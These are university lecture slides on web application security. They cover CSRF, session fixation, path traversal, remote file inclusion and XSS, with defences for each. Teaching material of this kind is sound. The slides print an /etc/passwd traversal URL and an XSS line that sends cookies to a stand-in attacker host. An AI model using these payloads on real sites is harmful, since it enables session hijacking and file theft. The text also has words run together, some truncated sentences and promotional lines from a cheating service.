FIT2093 INTRODUCTION TO CYBER SECURITY
Week 9 Lecture
Web Application Security
www.monash.edu
Copyright By PowCoder代写 加微信 powcoder
Web Security
● Unauthorizedaccesstotargetsystem
● Unauthorizednetworkinfodisclosure
● CommonVulnerabilities,Attacks&Defensesonwebapplications
(I) Unauthorised access to a target system
(I) Unauthorised access to a target system
Web Security
● AttackMethod:
○ Exploit system misconfigurations
○ Examples:
■ Open telnet ports
■ Other open ports with vulnerable software
■ Wrong access rights
■ Missing perimeter protection (no firewall)
(I) Unauthorised access to a target system
Web Security
● OtherAttackMethods:
○ Exploit system vulnerabilities
○ Examples:
■ weak user credentials:
• passwords, certificates ■ malicious hardware:
• devices, USB, chips planted in motherboards ■ social engineering (humans): phishing (click …)
image sourced from https://www.bloomberg.com/news/features/2018-10-04/the-big-hack-how-china-used-a-tiny-chip-to-infiltrate-america-s-top- companies
(I) Unauthorised access to target system, then Web Security
● onceaccessed,thenattacker(consequences)can
○ do illegal activities
○ steal information
○ establish Botnet (e.g. for large-scale DDoS)
○ backdoor to a network, used to attack other devices / services in the network
○ install malware
○ sabotage
○ do hacktivism
(I) Unauthorised access to target: Prevent? Web Security
● securesoftwaredevelopmentpractices(reduceweaknesses,attacksurface) ● disableports(reduceattacksurface)
● reducesoftware/servicesinstalled/running(reduceattacksurface)
● installcurrentOS/apppatches(fixvulnerabilities)
● backupdatainanisolatedlocation(reduceimpact,recover) ● properperimeterprotection(improvedefense)
● monitornetworktraffic(detect&preventattackattempts)
● educateusers(reduceattacksurface)
(II) Unauthorised network info disclosure
(II) Unauthorised network info disclosure
Web Security
● AttackMethod:exploitnetworkvulnerabilities
○ all unencrypted network traffic can be extracted through:
■ access to the Ethernet cable
■ sniffing wireless traffic
■ at each switch/router on the route
(II) Unauthorised network info disclosure
Web Security
● AttackMethod:exploitnetworkvulnerabilities
○ though encrypted, may still leak (other layers, metadata)
○ Wifi encryption just btw client and access point
■ other links not protected
○ TLS only for channel, data at each end not encrypted ■ stored , displayed in plain form
○ encrypted mail for content, not headers 10
(II) Unauthorised network info disclosure
Web Security
● AttackMethod:exploitnetworkvulnerabilities
○ unprotected traffic: attacks on INT ■ IP address spoofing
■ MAC address spoofing
image sourced from Wikipedia
(III) Common Vulnerabilities and Attacks on Web Applications / Sites & Defenses
(III) Attacks on Web Applications / Sites
Web Security
● webapplications
○ interface users to web servers
● @server: dynamic web pages e.g. using PHP, ASP, … ○ usually connected to database
● @browser:scripts,dynamicwebpagese.g.Javascript
(III) Attacks on Web Applications / Sites
Web Security
● Commonwebappvulnerabilities,attacks&defenses
● Injection attacks
● Sessionmanagementvulnerabilities
● Cross-Site Request Forgeries (CSRF)
● Session fixation
● Token integrity / bypassing client control
● Serverinputvalidationvulnerabilities
○ Cross-Site Scripting (XSS)
○ SQL injection (next week)
● WebsiteDefacementvulnerabilities 14
# Recap: Web Technologies
Web Security
● web:withHypertextTransferProtocol(HTTP) ● @browser:requestsdatafromserver
● twoHTTPrequestmethods:
○ GET (request data)
○ POST (submit data) ○ stateless
■ to create state for HTTP protocol, can use: • cookies
• TLS session
• numbers in URLs
• numbers hidden in HTML forms
# Recap: Web Technologies
Web Security
● 3-TierWebArchitecture:Client-Server-Database
# Recap: Web Technologies
Web Security
● HTTPprotocol:message-basedmodel
○ Client sends a request message
○ Server returns a response message
● HTTPRequests
○ one or more headers (each on a separate line)
○ blank line to indicate end of header section
○ (optional) message body
# Recap: HTTP Requests
Web Security
● Twomostimportanttypesofrequest“methods”:
○ GET (no message body, any parameters passed in URL): retrieve resources
○ POST (both message body and URL can contain parameters): perform action
● Typicalrequestmessage:
GET /auth/488/details.ashx?uid=129 HTTP/1.1
Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5
Referer: http://www.ninemsn.com.au/?pc=UP97&ocid=UP97DHP Accept-Language: en-AU
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: ping.chartbeat.net
Proxy-Connection: Keep-Alive
Cookie: SessionID=5B70C71F3FD4968935CDB6682E55476
# Recap: HTTP Responses
Web Security
● HTTPResponses
○ one or more headers (each on a separate line)
○ blank line
○ message body: usually HTML page
● Typicalresponsemessage:
○ HTTP/1.1 200 OK
Server: Bunny-Server/0.9.2
Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
Content-Type: text/html; charset=utf-8
Content-Length: 1070
# Recap: Server-side Technologies
Web Security
● Scripting Languages: PHP , VBScript, Perl
● Webapplicationplatforms
○ ASP.Net, Node.js (for server-side Java-script), Ruby on Rails, Java
● Variouswebservers:Apache,115
● Databases:Oracle,SAP,MS-SQL,MySQL,variousNoSQLdatabases
● SOAP-basedstructuredweb-services/XMLmessages
# Recap: Client-side Technologies
Web Security
● Differentbrowsers
● HTML->HTMLS,CSS,JavaScript ● Extensions:Flash,Java,ActiveX
(III) Attacks on Web Applications / Sites
Web Security
● Strategies
○ Analyze the application
○ Change client-side behaviour, bypass client-side controls (scripts, change URLs, cookies, etc.)
○ Attack authentication (if necessary) / Attack session management: hijack user sessions
○ Attack the database
○ Analyze & attack back-end components and APls
○ Attacking users
(III) Attacks on Web Apps: Injection
Web Security
● Client-sidecontrolvulnerability
● AttackMethod:CommandInjection
○ File path /directory traversal / backtracking
○ aim to access files/directories outside web root folder
○ manipulate variables using “dot-dot-slash (../)” 23
(III) Attacks on Web Apps: Injection
Web Security
● manipulatevariablesbygivingabsolutepath
○ e.g. if supports: http://some_site.com.br/get-
files.jsp?file=report.pdf
○ then do http://some_site.com.br/get-files?file=/etc/passwd
● manipulatevariablesbygivingotherpage
○ e.g. if supports: http://some_site.com.br/get-page.php?page=aaa.html
page.htm/malicius-code.php
http://some_site.com.br/get-page?page= http://othersite.com/other-
(III) Attacks on Web Apps: RFI Attacks
Web Security
● Client-sidecontrolvulnerability
● AttackMethods
○ SQL injection attacks on server’s database (next week)
○ remote file inclusion (RFI) attacks
■ exploits RFI vulnerability of some scripts e.g. server-side PHP, ASP, allowing user/attacker to include a file
• execute files on remote target website
■ to check: look for scripts with filenames as input
(III) Attacks on Web Apps: URL Manipulation
Web Security
● Client-sidecontrolvulnerability
● AttackMethod:URLmanipulation
○ search for directories giving admin access
○ or search for scripts that reveal info
○ if dynamic sites pass names of pages as parameter
○ modify to get info, or specify an external URL
(III) Attacks on Web Apps: Reasons
Web Security
● poordesign/vulnerabilities/defaults
○ predictable pages e.g. page=index.html , docid=1089
○ Javascript, PHP/ASP vulnerabilities
○ vulnerable/outdated/pirated themes or plugins
○ content management software e.g. WordPress
■ e.g. default admin login URL https://www.example.com/wp-login.php, brute force
(III) Attacks on Web Apps: Session Management Web Security
● attacksonmanagementofwebsessionstate ○ exploit web session management vulnerabilities
● whatsession?
○ for convenience, user context in web application maintained over multiple requests
to server from same browser, so no need user AUTH for every request ● howtomaintainsessionstate?
○ use session token to maintain context, included in browser requests
(III) Attacks on Web Apps: Session Management Web Security
● Sessionmanagementvulnerabilities ● Goal:
○ Maintain user’s context in web application over multiple requests to server from same browser
○ User convenience: no user re-authentication for every request ● CommonApproach:
○ Authenticate user once at beginning of session
■ Sometimes even no authentication needed (e.g. anonymous user) but still need
session mgt (e.g. shopping cart)
○ All subsequent user requests automatically tied to user via a session token sent in
(III) Attacks on Web Apps: Session Hijacking Web Security
● Commonsessionmanagementvulnerabilities ○ Use of cookies as sole token
■ Cross-Site Request Forgery (CSRF) vulnerabilities
○ Easily predictable tokens
○ Modified tokens
● Attacker’sgoal:Hijackuser’ssession
○ Obtain user’s session token
○ Use token to impersonate as user to the web application, or
○ Modify token to change web app behaviour
image source: https://blog.informaticalab.com/session-hijacking-session-sidejacking-entrare-nellaccount-di- qualcuno-senza-conoscere-le-credenziali/
# Recap: HTTP Cookies
Web Security
● PlainHTTPisastatelessprotocol
○ Each request/response is independent
● Butmanyapplicationsneedusersessions,e.g.buyingsessiononAmazon.com
○ Server stores session context (server state), e.g. what client bought in session
○ Server detects which session request comes from (session ID)
■ Need also client state to store session ID
● Cookies:HTTPmechanismforclienttostorestate
○ Initial client request to server: server responds with a cookie ID (“Set-Cookie”),
■ ID stored in browser, associated with server URL domain name
○ Subsequent client requests to same domain: browser automatically sends cookie ID
# Recap: HTTP Cookies
Web Security
(III) Attacks on Web Apps: CSRF Web Security
● AttackMethod:Cross-SiteRequestForgeries(CSRF) ● CookiesconvenientforsessionIDuse
○ but vulnerable if cookie is only session token
● CSRFattacks:Maliciouswebpagecausesuserbrowsertosubmita
request for an unintended server action on behalf of attacked client
(III) Attacks on Web Apps: CSRF Web Security
○ Alice logs in to Amazon.com, gets ”set-cookie” session token stored in browser
○ Marvin sends Alice an email, convinces Alice to click a (disguised) link to URL: https://amazon.com/purchase.do?bookname=“Web Hacking Handbook”&sendto=“Marvin’s
○ Alice’s browser automatically sends request with Alice’s amazon.com session cookie
○ Amazon.com charges book purchase to Alice, posts book to Marvin
(III) Attacks on Web Apps: CSRF Web Security
● Problem:
○ Client request for server action easily forged by attacker’s page request
■ only depends on cookies to continue to identify users/sessions
■ attacker can easily get the list of URL request/query parameters corresponding to different
○ Cookie automatically sent by browser, attacker need not know session ID
(III) Attacks on Web Apps: CSRF Web Security
● Prevention:
○ add additional hard-to-predict user authentication token in the request
■ NOT part of cookies – not automatically submitted by browser
■ Must be different for each user and each session
■ Known as CSRF token:
• Server sends a long random CSRF token to client in each response
• Typically included in a hidden field of a HTML form
• Included by next client request parameters when the form is submitted • e.g.
Q: Why is it important for the web session to be TLS encrypted (https) for this CSRF token countermeasure to be effective?
(III) Attacks on Web Apps Web Security
● Commonsessionmanagementvulnerabilities:predictabletoken
● Commonweakexamples:
○ session token = counter incremented for each user request ○ session token = customer number (public value?)
○ session token = same for all users / requests
● Webapplicationdefense:
○ Use strong cryptographic pseudorandom generator for random token generation
○ Use sufficiently long tokens for unpredictability
■ e.g. >=128 bit random string (use e.g. base64 encoding to embed in HTTP request)
○ Change to a new random token after each request
■ Especially after anonymous->authenticated login
• Session fixation vulnerabilities (see next slide)
(III) Attacks on Web Apps: Session Fixation Web Security
● Suppose:
○ same session token used for all requests
○ session token = URL parameter in user request
○ 1. Attacker logs in anonymously to http://amazon.com
■ Obtains session token: SESS=2as435sdf34251sdg
○ 2. Attacker sends user Alice a URL with attacker’s session token
■ e.g. Alice gets email with URL http://amazon.com/login.php?SESS=2as435sdf34251sdg
○ 3. Alice clicks attacker’s URL and logs in to Amazon:
■ Amazon associates attacker’s token with logged in user Alice; she makes some
(III) Attacks on Web Apps: Session Fixation Web Security
○ 4. Attacker uses known token to hijack Alice’s session:
■ Attacker requests http://amazon.com/browse.php?SESS=2as435sdf34251sdg • Gets access/view Alice’s amazon session
● Defense:
○ Alice gets new refreshed session token from Amazon after login step 3, ○ attacker’s session id is no longer Alice’s (invalidated) in step 4
(III) Attacks on Web Apps
Web Security
● Commonsessionmanagementvulnerabilities:modifiedtoken
● Tokenshavenointegrityprotectionunlessspecificallyimplementedbyweb application
● Commonweakexamples:
○ Cookies (even with secure flag) or request parameters can be modified by client
■ e.g. client changes token contents:
■ shopping-cart total = $100àchange to: shopping cart total = $10
○ Cookies (even with secure flag) can be modified by network attacker modifying http set-cookie response of attacker web application
Q: Why is it possible for a malicious client to change cookie contents?
(III) Attacks on Web Apps Web Security
● Commonsessionmanagementvulnerabilities:modifiedtoken
● Defensebywebapplication:
○ If possible, avoid storing critical parameters (e.g. shopping cart total) on client side,
store it on server side
○ If need token integrity on client, add strong cryptographic authentication tags to
■ auth. tag (MAC/signature) generated/verified at server.
(III) Attacks on Web Apps: XSS Web Security
● Vulnerability:lackofrequest(input)validationbyserver
● AttackMethod:Cross-SiteScripting(XSS)attack
○ gist: client-side browsers have built-in capability to run scripts
○ responses returned from servers tend to be processed by client-side for better
● Serverresponsesmayreflect/leakdatainclientrequest ● Lackofclientrequestvalidationbyserver:
○ script injection 42
(III) Attacks on Web Apps: XSS Web Security
● Q:Whatusuallypreventsattacker.comstealingclient’sconcurrentsession authentication information with other domain?
● A:BrowserSameOriginPolicy(SOP):JavascriptfrompageXinbrowser allowed to access page Y in browser only if pages are hosted on the same site (domain)
e.g. X URL = http://attacker.com/atk.html,
Y URL = http://attacker.com/DIR/myattacks.html : allowed Y URL = http://my.monash.edu/login : not allowed
● XSSVulnerability:AllowsattackertocircumventbrowserSOP 43
(III) Attacks on Web Apps: XSS Web Security
● attackerinjects(viabluffinguser)
● maliciousJavascripttohonestservermaliciousJavascriptreturnedto
browser by honest server site (amazon.com) as server response
● browserexecutesmaliciousJavascriptwithhonestsiteaccessright ● Javascriptsendstoattackeruser’ssessioninfowithamazon.com
(III) Attacks on Web Apps: XSS Web Security
● attackerinjects(viabluffinguser)maliciousJavascripttohonestserver
● WhypossibletoinjectmaliciousJavascriptintothewebpagesentto browser from the honest attacked server?
○ Reflected XSS
○ Stored XSS
(III) Attacks on Web Apps: Reflected XSS Web Security
(III) Attacks on Web Apps: Reflected XSS Web Security
● E.g.:Webapplication(browser)sometimesemploysdynamicpagetodisplay error message to user
○ takes a parameter containing message text & renders it back to user
● Suchparameterbecomestheinsertionpointofacross-sitescript(XSS)
(III) Attacks on Web Apps: Reflected XSS Web Security
● Idea:CraftarequestcontainingembeddedJavaScriptthatreflectstoany user who makes the request
● Accountsforapproximately75%ofXSSvulnerabilitiesthatexistinreal-world web applications
(III) Reflected XSS: Example
Web Security
1. User logins, issued with a cookie
Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
2. The attacker feeds/injects (via social engineering) the following URL to the user: https://wahh-app.com/error.php?message= 3. User requests from the application the URL fed to them by the attacker
4. Server responds to the user’s request.
• Response contains the JavaScript created by the attacker
5. Attacker’s JavaScript is received by the user’s browser, which executes it 6. The malicious JavaScript created by the attacker is:
var i=new Image; i.src=”http://wahh-attacker.com/“+document.cookie;
The request contains the user’s current session token for the application:
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1 Host: wahh-attacker.com
7. Attacker captured token to hijack the user’s session
(III) Reflected XSS: Example
Web Security
● HowtoinjectamaliciousURLtoanattackeduser’sHTTPRequest:socialengineering Q: What is the meaning of
%61%63%6b in the URL link? (in –att%61%63%6ber.co%6d
part of URL).
What does %xy mean in a URL?
What do you think is its purpose in the phishing email?
(III) Reflected XSS Example: Why
Web Security
● Thelinkcontainsthesamedomainasthesender
○ If the link is for another domain (e.g. www.i-am-attacker.com), most likely many users will
not click and just ignore the email
● Thelinkisusinghttps(usersmaythinkhttpsissecureandsafe!)
(III) Stored XSS: How
Web Security
● Involvesatleasttworequeststotheapplication
○ Attacker posts some crafted data containing malicious code that the application
○ Victim views a page containing the attacker’s data, and the malicious code is
executed when the script is executed in the victim’s browser
● Thevulnerabilityisalsocalled
○ Second-order XSS
○ Persistent XSS
(III) Stored XSS: How
Web Security
(III) XSS: Prevention
Web Security
● Mainidea
○ Eliminate the script injection vulnerability in the web application
○ Web application server carefully filters incoming scripts from client before
inserting in the response / stored HTML page
Website Defacements
Web Security
● RESTAPIendpointvulnerabilityallowedunAUTHusertomodifycontentof page/post (content injection / privilege escalation)
# Statistics
Web Security
● website defacement statistics
Source: Trend Micro 2018 https://documents.trendmicro.com/assets/white _papers/wp-a-deep-dive-into-defacement.pdf
Website Defacements
Web Security
● attacksondomainnamesystem(DNS)servers
○ DNS: library / directory, maps domain name to IP address
○ Gist: attack the mapping i.e. DNS hijacking/redirection
Note: image sourced from https://blogs.cisco.com/security/dns-under-attack
against Web Attacks
Web Security
● uselatestversions/updates/patchesofwebserver,hypertextprocessor (PHP)/ASP/…, OS
● docentralizedlogmanagment
○ better info on related attacks on multiple systems
○ point of attack different from point of log, so logs cannot be affected by
程序代写 CS代考 加微信: powcoder QQ: 1823890830 Email: powcoder@163.com